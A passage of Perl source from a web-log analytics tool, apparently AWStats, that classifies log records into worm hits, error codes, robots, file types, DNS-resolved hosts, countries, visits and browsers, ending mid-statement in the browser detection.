18949				if ( $_ =~ /^mov=(\w+)/i ) {
18950					$foundparam++;
18951					if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; }
18952					next;
18953				}
18954				if ( $_ =~ /^wma=(\w+)/i ) {
18955					$foundparam++;
18956					if ( $1 eq 'y' ) {
18957						$_misc_h{"WindowsMediaPlayerSupport"}++;
18958					}
18959					next;
18960				}
18961				if ( $_ =~ /^pdf=(\w+)/i ) {
18962					$foundparam++;
18963					if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; }
18964					next;
18965				}
18966			}
18967			if ($foundparam) { $_misc_h{"TotalMisc"}++; }
18968		}
18969
18970		# Analyze: successful favicon (=> countedtraffic=1 if favicon)
18971		#--------------------------------------------------
18972		if ( $urlwithnoquery =~ /$regfavico/o ) {
18973			if ( $field[$pos_code] != 404 ) {
18974				$_misc_h{'AddToFavourites'}++;
18975			}
18976			$countedtraffic =
18977			  1;    # favicon is a case that must not be counted anywhere else
18978			$_time_nv_h[$hourrecord]++;
18979			if ( $field[$pos_code] != 404 && $pos_size>0) {
18980				$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
18981			}
18982		}
18983
18984		# Analyze: Worms (=> countedtraffic=2 if worm)
18985		#---------------------------------------------
18986		if ( !$countedtraffic ) {
18987			if ($LevelForWormsDetection) {
18988				foreach (@WormsSearchIDOrder) {
18989					if ( $field[$pos_url] =~ /$_/ ) {
18990
18991						# It's a worm
18992						my $worm = &UnCompileRegex($_);
18993						if ($Debug) {
18994							debug(
18995" Record is a hit from a worm identified by '$worm'",
18996								2
18997							);
18998						}
18999						$worm = $WormsHashID{$worm} || 'unknown';
19000						$_worm_h{$worm}++;
19001						if ($pos_size>0){$_worm_k{$worm} += int( $field[$pos_size] );}
19002						$_worm_l{$worm} = $timerecord;
19003						$countedtraffic = 2;
19004						if ($PageBool) { $_time_nv_p[$hourrecord]++; }
19005						$_time_nv_h[$hourrecord]++;
19006						if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
19007						last;
19008					}
19009				}
19010			}
19011		}
19012
19013		# Analyze: Status code (=> countedtraffic=3 if error)
19014		#----------------------------------------------------
19015		if ( !$countedtraffic ) {
19016			if ( $LogType eq 'W' || $LogType eq 'S' )
19017			{    # HTTP record or Stream record
19018				if ( $ValidHTTPCodes{ $field[$pos_code] } ) {    # Code is valid
19019					if ( int($field[$pos_code]) == 304 && $pos_size>0) { $field[$pos_size] = 0; }
19020					# track downloads
19021					if (int($field[$pos_code]) == 200 && $MimeHashLib{$extension}[1] eq 'd' && $urlwithnoquery !~ /robots.txt$/ )  # We track download if $MimeHashLib{$extension}[1] = 'd'
19022					{
19023						$_downloads{$urlwithnoquery}->{'AWSTATS_HITS'}++;
19024						$_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
19025						if ($Debug) { debug( " New download detected: '$urlwithnoquery'", 2 ); }
19026					}
19027				# handle 206 download continuation message IF we had a successful 200 before, otherwise it goes in errors
19028				}elsif(int($field[$pos_code]) == 206
19029					#&& $_downloads{$urlwithnoquery}->{$field[$pos_host]}[0] > 0
19030					&& ($MimeHashLib{$extension}[1] eq 'd')){
19031					$_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0);
19032					$_downloads{$urlwithnoquery}->{'AWSTATS_206'}++;
19033					#$_downloads{$urlwithnoquery}->{$field[$pos_host]}[1] = $timerecord;
19034					if ($pos_size>0){
19035						#$_downloads{$urlwithnoquery}->{$field[$pos_host]}[2] = int($field[$pos_size]);
19036						$DayBytes{$yearmonthdayrecord} += int($field[$pos_size]);
19037						$_time_k[$hourrecord] += int($field[$pos_size]);
19038					}
19039					$countedtraffic = 6; # 206 continued download, so we track bandwidth but not pages or hits
19040					if ($Debug) { debug( " Download continuation detected: '$urlwithnoquery'", 2 ); }
19041  				}else {    # Code is not valid
19042					if ( $field[$pos_code] !~ /^\d\d\d$/ ) {
19043						$field[$pos_code] = 999;
19044					}
19045					$_errors_h{ $field[$pos_code] }++;
19046					if ($pos_size>0){$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );}
19047					foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
19048						if ( $field[$pos_code] == $code ) {
19049
19050							# This is an error code which referrer need to be tracked
19051							my $newurl =
19052							  substr( $field[$pos_url], 0,
19053								$MaxLengthOfStoredURL );
19054							$newurl =~ s/[$URLQuerySeparators].*$//;
19055							$_sider_h{$code}{$newurl}++;
19056							if ( $pos_referer >= 0 && $ShowHTTPErrorsPageDetail =~ /R/i  ) {
19057								my $newreferer = $field[$pos_referer];
19058								if ( !$URLReferrerWithQuery ) {
19059									$newreferer =~ s/[$URLQuerySeparators].*$//;
19060								}
19061								$_referer_h{$code}{$newurl} = $newreferer;
19062							}
19063							if ( $pos_host >= 0 && $ShowHTTPErrorsPageDetail =~ /H/i ) {
19064								my $newhost = $field[$pos_host];
19065								if ( !$URLReferrerWithQuery ) {
19066									$newhost =~ s/[$URLQuerySeparators].*$//;
19067								}
19068								$_err_host_h{$code}{$newurl} = $newhost;
19069								last;
19070							}
19071						}
19072					}
19073					if ($Debug) {
19074						debug(
19075" Record stored in the status code chart (status code=$field[$pos_code])",
19076							3
19077						);
19078					}
19079					$countedtraffic = 3;
19080					if ($PageBool) { $_time_nv_p[$hourrecord]++; }
19081					$_time_nv_h[$hourrecord]++;
19082					if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
19083				}
19084			}
19085			elsif ( $LogType eq 'M' ) {    # Mail record
19086				if ( !$ValidSMTPCodes{ $field[$pos_code] } )
19087				{                          # Code is not valid
19088					$_errors_h{ $field[$pos_code] }++;
19089					if ( $field[$pos_size] ne '-' && $pos_size>0) {
19090						$_errors_k{ $field[$pos_code] } +=
19091						  int( $field[$pos_size] );
19092					}
19093					if ($Debug) {
19094						debug(
19095" Record stored in the status code chart (status code=$field[$pos_code])",
19096							3
19097						);
19098					}
19099					$countedtraffic = 3;
19100					if ($PageBool) { $_time_nv_p[$hourrecord]++; }
19101					$_time_nv_h[$hourrecord]++;
19102					if ( $field[$pos_size] ne '-' && $pos_size>0) {
19103						$_time_nv_k[$hourrecord] += int( $field[$pos_size] );
19104					}
19105				}
19106			}
19107			elsif ( $LogType eq 'F' ) {    # FTP record
19108			}
19109		}
19110
19111		# Analyze: Robot from robot database (=> countedtraffic=4 if robot)
19112		#------------------------------------------------------------------
19113		if ( !$countedtraffic || $countedtraffic == 6) {
19114			if ( $pos_agent >= 0 ) {
19115				if ($DecodeUA) {
19116					$field[$pos_agent] =~ s/%20/_/g;
19117				} # This is to support servers (like Roxen) that writes user agent with %20 in it
19118				$UserAgent = $field[$pos_agent];
19119				if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; }
19120
19121				if ($LevelForRobotsDetection) {
19122
19123					if ($UserAgent) {
19124						my $uarobot = $TmpRobot{$UserAgent};
19125						if ( !$uarobot ) {
19126
19127							#study $UserAgent;		Does not increase speed
19128							foreach (@RobotsSearchIDOrder) {
19129								if ( $UserAgent =~ /$_/ ) {
19130									my $bot = &UnCompileRegex($_);
19131									$TmpRobot{$UserAgent} = $uarobot = "$bot"
19132									  ; # Last time, we won't search if robot or not. We know it is.
19133									if ($Debug) {
19134										debug(
19135"  UserAgent '$UserAgent' is added to TmpRobot with value '$bot'",
19136											2
19137										);
19138									}
19139									last;
19140								}
19141							}
19142							if ( !$uarobot )
19143							{ # Last time, we won't search if robot or not. We know it's not.
19144								$TmpRobot{$UserAgent} = $uarobot = '-';
19145							}
19146						}
19147						if ( $uarobot ne '-' ) {
19148
19149							# If robot, we stop here
19150							if ($Debug) {
19151								debug(
19152"  UserAgent '$UserAgent' contains robot ID '$uarobot'",
19153									2
19154								);
19155							}
19156							$_robot_h{$uarobot}++;
19157							if ( $field[$pos_size] ne '-' && $pos_size>0) {
19158								$_robot_k{$uarobot} += int( $field[$pos_size] );
19159							}
19160							$_robot_l{$uarobot} = $timerecord;
19161							if ( $urlwithnoquery =~ /$regrobot/o ) {
19162								$_robot_r{$uarobot}++;
19163							}
19164							$countedtraffic = 4;
19165							if ($PageBool) { $_time_nv_p[$hourrecord]++; }
19166							$_time_nv_h[$hourrecord]++;
19167							if ( $field[$pos_size] ne '-' && $pos_size>0) {
19168								$_time_nv_k[$hourrecord] +=
19169								  int( $field[$pos_size] );
19170							}
19171						}
19172					}
19173					else {
19174						my $uarobot = 'no_user_agent';
19175
19176						# It's a robot or at least a bad browser, we stop here
19177						if ($Debug) {
19178							debug(
19179"  UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'",
19180								2
19181							);
19182						}
19183						$_robot_h{$uarobot}++;
19184						if ($pos_size>0){$_robot_k{$uarobot} += int( $field[$pos_size] );}
19185						$_robot_l{$uarobot} = $timerecord;
19186						if ( $urlwithnoquery =~ /$regrobot/o ) {
19187							$_robot_r{$uarobot}++;
19188						}
19189						$countedtraffic = 4;
19190						if ($PageBool) { $_time_nv_p[$hourrecord]++; }
19191						$_time_nv_h[$hourrecord]++;
19192						if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
19193					}
19194				}
19195			}
19196		}
19197
19198   # Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot)
19199   # -------------------------------------------------------------------------
19200		if ( !$countedtraffic ) {
19201			if ( $urlwithnoquery =~ /$regrobot/o ) {
19202				if ($Debug) { debug( "  It's an unknown robot", 2 ); }
19203				$_robot_h{'unknown'}++;
19204				if ($pos_size>0){$_robot_k{'unknown'} += int( $field[$pos_size] );}
19205				$_robot_l{'unknown'} = $timerecord;
19206				$_robot_r{'unknown'}++;
19207				$countedtraffic = 5;    # Must not be counted somewhere else
19208				if ($PageBool) { $_time_nv_p[$hourrecord]++; }
19209				$_time_nv_h[$hourrecord]++;
19210				if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );}
19211			}
19212		}
19213
19214		# Analyze: File type - Compression
19215		#---------------------------------
19216		if ( !$countedtraffic || $countedtraffic == 6) {
19217			if ($LevelForFileTypesDetection) {
19218				if ($countedtraffic != 6){$_filetypes_h{$extension}++;}
19219				if ( $field[$pos_size] ne '-' && $pos_size>0) {
19220					$_filetypes_k{$extension} += int( $field[$pos_size] );
19221				}
19222
19223				# Compression
19224				if ( $pos_gzipin >= 0 && $field[$pos_gzipin] )
19225				{    # If in and out in log
19226					my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] );
19227					my ( $notused1, $out, $notused2 ) =
19228					  split( /:/, $field[$pos_gzipout] );
19229					if ($out) {
19230						$_filetypes_gz_in{$extension}  += $in;
19231						$_filetypes_gz_out{$extension} += $out;
19232					}
19233				}
19234				elsif ( $pos_compratio >= 0
19235					&& ( $field[$pos_compratio] =~ /(\d+)/ ) )
19236				{    # Calculate in/out size from percentage
19237					if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) {
19238
19239	# with mod_gzip:    % is size (before-after)/before (low for jpg) ??????????
19240						$_filetypes_gz_in{$extension} +=
19241						  int(
19242							$field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
19243					}
19244					else {
19245
19246					   # with mod_deflate: % is size after/before (high for jpg)
19247						$_filetypes_gz_in{$extension} +=
19248						  int( $field[$pos_size] * 100 / ( $1 || 1 ) );
19249					}
19250					if ($pos_size>0){$_filetypes_gz_out{$extension} += int( $field[$pos_size] );}
19251				}
19252			}
19253
19254			# Analyze: Date - Hour - Pages - Hits - Kilo
19255			#-------------------------------------------
19256			if ($PageBool) {
19257
19258# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile)
19259				if ( @DefaultFile > 1 ) {
19260					foreach my $elem (@DefaultFile) {
19261						if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; }
19262					}
19263				}
19264				else { $field[$pos_url] =~ s/$regdefault/\//o; }
19265
19266# FirstTime and LastTime are First and Last human visits (so changed if access to a page)
19267				$FirstTime{$lastprocesseddate} ||= $timerecord;
19268				$LastTime{$lastprocesseddate} = $timerecord;
19269				$DayPages{$yearmonthdayrecord}++;
19270				$_url_p{ $field[$pos_url] }++;   #Count accesses for page (page)
19271				if ( $field[$pos_size] ne '-' && $pos_size>0) {
19272					$_url_k{ $field[$pos_url] } += int( $field[$pos_size] );
19273				}
19274				$_time_p[$hourrecord]++;    #Count accesses for hour (page)
19275				                            # TODO Use an id for hash key of url
19276				                            # $_url_t{$_url_id}
19277			}
19278			if ($countedtraffic != 6){$_time_h[$hourrecord]++;}
19279 			if ($countedtraffic != 6){$DayHits{$yearmonthdayrecord}++;}    #Count accesses for hour (hit)
19280  			if ( $field[$pos_size] ne '-' && $pos_size>0) {
19281  				$_time_k[$hourrecord]          += int( $field[$pos_size] );
19282 				$DayBytes{$yearmonthdayrecord} += int( $field[$pos_size] );     #Count accesses for hour (kb)
19283  			}
19284
19285			# Analyze: Login
19286			#---------------
19287			if (   $pos_logname >= 0
19288				&& $field[$pos_logname]
19289				&& $field[$pos_logname] ne '-' )
19290			{
19291				$field[$pos_logname] =~
19292				  s/ /_/g;    # This is to allow space in logname
19293				if ( $LogFormat eq '6' ) {
19294					$field[$pos_logname] =~ s/^\"//;
19295					$field[$pos_logname] =~ s/\"$//;
19296				}             # logname field has " with Domino 6+
19297				if ($AuthenticatedUsersNotCaseSensitive) {
19298					$field[$pos_logname] = lc( $field[$pos_logname] );
19299				}
19300
19301				# We found an authenticated user
19302				if ($PageBool) {
19303					$_login_p{ $field[$pos_logname] }++;
19304				}             #Count accesses for page (page)
19305				if ($countedtraffic != 6){$_login_h{$field[$pos_logname]}++;}         #Count accesses for page (hit)
19306				if ($pos_size>0){$_login_k{ $field[$pos_logname] } +=
19307				  int( $field[$pos_size] );}    #Count accesses for page (kb)
19308				$_login_l{ $field[$pos_logname] } = $timerecord;
19309			}
19310		}
19311
19312		# Do DNS lookup
19313		#--------------
19314		my $Host         = $field[$pos_host];
19315		my $HostResolved = ''
19316		  ; # HostResolved will be defined in next paragraf if countedtraffic is true
19317
19318		if( $Host =~ /^([^:]+):[0-9]+$/ ){ # Host may sometimes have an ip:port syntax (ex: 54.32.12.12:60321)
19319		    $Host = $1;
19320		}
19321
19322
19323		if ( !$countedtraffic || $countedtraffic == 6) {
19324			my $ip = 0;
19325			if ($DNSLookup) {    # DNS lookup is 1 or 2
19326				if ( $Host =~ /$regipv4l/o ) {    # IPv4 lighttpd
19327					$Host =~ s/^::ffff://;
19328					$ip = 4;
19329				}
19330				elsif ( $Host =~ /$regipv4/o ) { $ip = 4; }    # IPv4
19331				elsif ( $Host =~ /$regipv6/o ) { $ip = 6; }    # IPv6
19332				if ($ip) {
19333
19334					# Check in static DNS cache file
19335					$HostResolved = $MyDNSTable{$Host};
19336					if ($HostResolved) {
19337						if ($Debug) {
19338							debug(
19339"  DNS lookup asked for $Host and found in static DNS cache file: $HostResolved",
19340								4
19341							);
19342						}
19343					}
19344					elsif ( $DNSLookup == 1 ) {
19345
19346		   # Check in session cache (dynamic DNS cache file + session DNS cache)
19347						$HostResolved = $TmpDNSLookup{$Host};
19348						if ( !$HostResolved ) {
19349							if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) {
19350								$HostResolved = $TmpDNSLookup{$Host} = '*';
19351								if ($Debug) {
19352									debug(
19353"  No need of reverse DNS lookup for $Host, skipped at user request.",
19354										4
19355									);
19356								}
19357							}
19358							else {
19359								if ( $ip == 4 ) {
19360									my $lookupresult =
19361									  gethostbyaddr(
19362										pack( "C4", split( /\./, $Host ) ),
19363										AF_INET )
19364									  ; # This is very slow, may spend 20 seconds
19365									if (   !$lookupresult
19366										|| $lookupresult =~ /$regipv4/o
19367										|| !IsAscii($lookupresult) )
19368									{
19369										$TmpDNSLookup{$Host} = $HostResolved =
19370										  '*';
19371									}
19372									else {
19373										$TmpDNSLookup{$Host} = $HostResolved =
19374										  $lookupresult;
19375									}
19376									if ($Debug) {
19377										debug(
19378"  Reverse DNS lookup for $Host done: $HostResolved",
19379											4
19380										);
19381									}
19382								}
19383								elsif ( $ip == 6 ) {
19384									if ( $PluginsLoaded{'GetResolvedIP'}
19385										{'ipv6'} )
19386									{
19387										my $lookupresult =
19388										  GetResolvedIP_ipv6($Host);
19389										if (   !$lookupresult
19390											|| !IsAscii($lookupresult) )
19391										{
19392											$TmpDNSLookup{$Host} =
19393											  $HostResolved = '*';
19394										}
19395										else {
19396											$TmpDNSLookup{$Host} =
19397											  $HostResolved = $lookupresult;
19398										}
19399									}
19400									else {
19401										$TmpDNSLookup{$Host} = $HostResolved =
19402										  '*';
19403										warning(
19404"Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
19405										);
19406									}
19407								}
19408								else { error("Bad value vor ip"); }
19409							}
19410						}
19411					}
19412					else {
19413						$HostResolved = '*';
19414						if ($Debug) {
19415							debug(
19416"  DNS lookup by static DNS cache file asked for $Host but not found.",
19417								4
19418							);
19419						}
19420					}
19421				}
19422				else {
19423					if ($Debug) {
19424						debug(
19425"  DNS lookup asked for $Host but this is not an IP address.",
19426							4
19427						);
19428					}
19429					$DNSLookupAlreadyDone = $LogFile;
19430				}
19431			}
19432			else {
19433				if ( $Host =~ /$regipv4l/o ) {
19434					$Host =~ s/^::ffff://;
19435					$HostResolved = '*';
19436					$ip           = 4;
19437				}
19438				elsif ( $Host =~ /$regipv4/o ) {
19439					$HostResolved = '*';
19440					$ip           = 4;
19441				}    # IPv4
19442				elsif ( $Host =~ /$regipv6/o ) {
19443					$HostResolved = '*';
19444					$ip           = 6;
19445				}    # IPv6
19446				if ($Debug) { debug( "  No DNS lookup asked.", 4 ); }
19447			}
19448
19449			# Analyze: Country (Top-level domain)
19450			#------------------------------------
19451			if ($Debug) {
19452				debug(
19453"  Search country (Host=$Host HostResolved=$HostResolved ip=$ip)",
19454					4
19455				);
19456			}
19457			my $Domain = 'ip';
19458
19459			# Set $HostResolved to host and resolve domain
19460			if ( $HostResolved eq '*' ) {
19461
19462# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address
19463				$HostResolved = $Host;
19464
19465				# Resolve Domain
19466				if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) {
19467					$Domain = GetCountryCodeByAddr_geoip6($HostResolved);
19468				}
19469				elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
19470					$Domain = GetCountryCodeByAddr_geoip($HostResolved);
19471				}
19472
19473#			elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); }
19474#			elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); }
19475				elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) {
19476					$Domain = GetCountryCodeByAddr_geoipfree($HostResolved);
19477				}
19478				elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip2_country'} ) {
19479					$Domain = GetCountryCodeByAddr_geoip2_country($HostResolved);
19480				}
19481				if ($AtLeastOneSectionPlugin) {
19482					foreach my $pluginname (
19483						keys %{ $PluginsLoaded{'SectionProcessIp'} } )
19484					{
19485						my $function = "SectionProcessIp_$pluginname";
19486						if ($Debug) {
19487							debug( "  Call to plugin function $function", 5 );
19488						}
19489						&$function($HostResolved);
19490					}
19491				}
19492			}
19493			else {
19494
19495# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined)
19496				$HostResolved = lc( $HostResolved ? $HostResolved : $Host );
19497
19498				# Resolve Domain
19499				if ($ip)
19500				{    # If we have ip, we use it in priority instead of hostname
19501					if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip6'} ) {
19502						$Domain = GetCountryCodeByAddr_geoip6($Host);
19503					}
19504					elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
19505						$Domain = GetCountryCodeByAddr_geoip($Host);
19506					}
19507
19508#				elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
19509#				elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
19510					elsif (
19511						$PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
19512					{
19513						$Domain = GetCountryCodeByAddr_geoipfree($Host);
19514					}
19515					elsif (
19516						$PluginsLoaded{'GetCountryCodeByAddr'}{'geoip2_country'} )
19517					{
19518						$Domain = GetCountryCodeByAddr_geoip2_country($Host);
19519					}
19520					elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
19521					if ($AtLeastOneSectionPlugin) {
19522						foreach my $pluginname (
19523							keys %{ $PluginsLoaded{'SectionProcessIp'} } )
19524						{
19525							my $function = "SectionProcessIp_$pluginname";
19526							if ($Debug) {
19527								debug( "  Call to plugin function $function",
19528									5 );
19529							}
19530							&$function($Host);
19531						}
19532					}
19533				}
19534				else {
19535					if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip6'} ) {
19536						$Domain = GetCountryCodeByName_geoip6($HostResolved);
19537					}
19538					elsif ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) {
19539						$Domain = GetCountryCodeByName_geoip($HostResolved);
19540					}
19541
19542#				elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
19543#				elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
19544					elsif (
19545						$PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
19546					{
19547						$Domain = GetCountryCodeByName_geoipfree($HostResolved);
19548					}
19549					elsif (
19550						$PluginsLoaded{'GetCountryCodeByName'}{'geoip2_country'} )
19551					{
19552						$Domain = GetCountryCodeByName_geoip2_country($HostResolved);
19553					}
19554					elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
19555					if ($AtLeastOneSectionPlugin) {
19556						foreach my $pluginname (
19557							keys %{ $PluginsLoaded{'SectionProcessHostname'} } )
19558						{
19559							my $function = "SectionProcessHostname_$pluginname";
19560							if ($Debug) {
19561								debug( "  Call to plugin function $function",
19562									5 );
19563							}
19564							&$function($HostResolved);
19565						}
19566					}
19567				}
19568			}
19569
19570			# Store country
19571			if ($PageBool) { $_domener_p{$Domain}++; }
19572			if ($countedtraffic != 6){$_domener_h{$Domain}++;}
19573			if ( $field[$pos_size] ne '-' && $pos_size>0) {
19574				$_domener_k{$Domain} += int( $field[$pos_size] );
19575			}
19576
19577			# Analyze: Host, URL entry+exit and Session
19578			#------------------------------------------
19579			if ($PageBool) {
19580				my $timehostl = $_host_l{$HostResolved};
19581				if ($timehostl) {
19582
19583# A visit for this host was already detected
19584# TODO everywhere there is $VISITTIMEOUT
19585#				$timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1;
19586#				if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) {
19587					if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) {
19588
19589						# This is a second visit or more
19590						if ( !$_waithost_s{$HostResolved} ) {
19591
19592							# This is a second visit or more
19593							# We count 'visit','exit','entry','DayVisits'
19594							if ($Debug) {
19595								debug(
19596"  This is a second visit for $HostResolved.",
19597									4
19598								);
19599							}
19600							my $timehosts = $_host_s{$HostResolved};
19601							my $page      = $_host_u{$HostResolved};
19602							if ($page) { $_url_x{$page}++; }
19603							$_url_e{ $field[$pos_url] }++;
19604							$DayVisits{$yearmonthdayrecord}++;
19605
19606				 # We can't count session yet because we don't have the start so
19607				 # we save params of first 'wait' session
19608							$_waithost_l{$HostResolved} = $timehostl;
19609							$_waithost_s{$HostResolved} = $timehosts;
19610							$_waithost_u{$HostResolved} = $page;
19611						}
19612						else {
19613
19614						 # This is third visit or more
19615						 # We count 'session','visit','exit','entry','DayVisits'
19616							if ($Debug) {
19617								debug(
19618"  This is a third visit or more for $HostResolved.",
19619									4
19620								);
19621							}
19622							my $timehosts = $_host_s{$HostResolved};
19623							my $page      = $_host_u{$HostResolved};
19624							if ($page) { $_url_x{$page}++; }
19625							$_url_e{ $field[$pos_url] }++;
19626							$DayVisits{$yearmonthdayrecord}++;
19627							if ($timehosts) {
19628								$_session{ GetSessionRange( $timehosts,
19629										$timehostl ) }++;
19630							}
19631						}
19632
19633						# Save new session properties
19634						$_host_s{$HostResolved} = $timerecord;
19635						$_host_l{$HostResolved} = $timerecord;
19636						$_host_u{$HostResolved} = $field[$pos_url];
19637					}
19638					elsif ( $timerecord > $timehostl ) {
19639
19640						# This is a same visit we can count
19641						if ($Debug) {
19642							debug(
19643"  This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
19644								4
19645							);
19646						}
19647						$_host_l{$HostResolved} = $timerecord;
19648						$_host_u{$HostResolved} = $field[$pos_url];
19649					}
19650					elsif ( $timerecord == $timehostl ) {
19651
19652						# This is a same visit we can count
19653						if ($Debug) {
19654							debug(
19655"  This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
19656								4
19657							);
19658						}
19659						$_host_u{$HostResolved} = $field[$pos_url];
19660					}
19661					elsif ( $timerecord < $_host_s{$HostResolved} ) {
19662
19663					   # Should happens only with not correctly sorted log files
19664						if ($Debug) {
19665							debug(
19666"  This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)",
19667								4
19668							);
19669						}
19670						if ( !$_waithost_s{$HostResolved} ) {
19671
19672# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved)
19673							$_waithost_e{$HostResolved} = $field[$pos_url];
19674						}
19675						else {
19676
19677# We can't change entry counted as we dont't know what was the url counted as entry
19678						}
19679						$_host_s{$HostResolved} = $timerecord;
19680					}
19681					else {
19682						if ($Debug) {
19683							debug(
19684"  This is same visit still running for $HostResolved with hit between start and last hits. No change",
19685								4
19686							);
19687						}
19688					}
19689				}
19690				else {
19691
19692# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later
19693					if ($Debug) {
19694						debug(
19695"  New session (may be) for $HostResolved. Save in wait array to see later",
19696							4
19697						);
19698					}
19699					$_waithost_e{$HostResolved} = $field[$pos_url];
19700
19701					# Save new session properties
19702					$_host_u{$HostResolved} = $field[$pos_url];
19703					$_host_s{$HostResolved} = $timerecord;
19704					$_host_l{$HostResolved} = $timerecord;
19705				}
19706				$_host_p{$HostResolved}++;
19707			}
19708			$_host_h{$HostResolved}++;
19709			if ( $field[$pos_size] ne '-' && $pos_size>0) {
19710				$_host_k{$HostResolved} += int( $field[$pos_size] );
19711			}
19712
19713			# Analyze: Browser - OS
19714			#----------------------
19715			if ( $pos_agent >= 0 ) {
19716
19717				if ($LevelForBrowsersDetection) {
19718
19719					# Analyze: Browser
19720					#-----------------
19721					my $uabrowser = $TmpBrowser{$UserAgent};
19722					if ( !$uabrowser ) {
19723						my $found = 1;
19724
19725						# Edge (must be at beginning)
19726						if ($UserAgent =~ /$regveredge/o)
19727						{
19728							$_browser_h{"edge$1"}++;
19729							if ($PageBool) { $_browser_p{"edge$1"}++; }
19730							$TmpBrowser{$UserAgent} = "edge$1";
19731						}
19732
19733						# Opera ?
19734						elsif ( $UserAgent =~ /$regveropera/o ) {	# !!!! version number in in regex $1 or $2 !!!
19735						    $_browser_h{"opera".($1||$2)}++;
19736						    if ($PageBool) { $_browser_p{"opera".($1||$2)}++; }
19737						    $TmpBrowser{$UserAgent} = "opera".($1||$2);
19738						}
19739
19740						# Firefox ?
19741						elsif ( $UserAgent =~ /$regverfirefox/o
19742						    && $UserAgent !~ /$regnotfirefox/o )
19743						{
19744						    $_browser_h{"firefox$1"}++;
19745						    if ($PageBool) { $_browser_p{"firefox$1"}++; }
19746						    $TmpBrowser{$UserAgent} = "firefox$1";
19747						}
19748
19749						# Chrome ?
19750						elsif ( $UserAgent =~ /$regverchrome/o ) {
19751							$_browser_h{"chrome$1"}++;
19752							if ($PageBool) { $_browser_p{"chrome$1"}++; }
19753							$TmpBrowser{$UserAgent} = "chrome$1";
19754						}
19755
19756						# Safari ?
19757						elsif ($UserAgent =~ /$regversafari/o
19758							&& $UserAgent !~ /$regnotsafari/o )
19759						{
19760							my $safariver = $BrowsersSafariBuildToVersionHash{$1};
19761							if ( $UserAgent =~ /$regversafariver/o ) {
19762								$safariver = $1;
19763							}
19764							$_browser_h{"safari$safariver"}++;
19765							if ($PageBool) { $_browser_p{"safari$safariver"}++; }
19766							$TmpBrowser{$UserAgent} = "safari$safariver";
19767						}
19768
19769						# Konqueror ?
19770						elsif ( $UserAgent =~ /$regverkonqueror/o ) {
19771							$_browser_h{"konqueror$1"}++;
19772							if ($PageBool) { $_browser_p{"konqueror$1"}++; }
19773							$TmpBrowser{$UserAgent} = "konqueror$1";
19774						}
19775
19776						# Subversion ?
19777						elsif ( $UserAgent =~ /$regversvn/o ) {
19778							$_browser_h{"svn$1"}++;
19779							if ($PageBool) { $_browser_p{"svn$1"}++; }
19780							$TmpBrowser{$UserAgent} = "svn$1";
19781						}
19782
19783						# IE < 11 ? (must be at end of test)
19784						elsif ($UserAgent =~ /$regvermsie/o
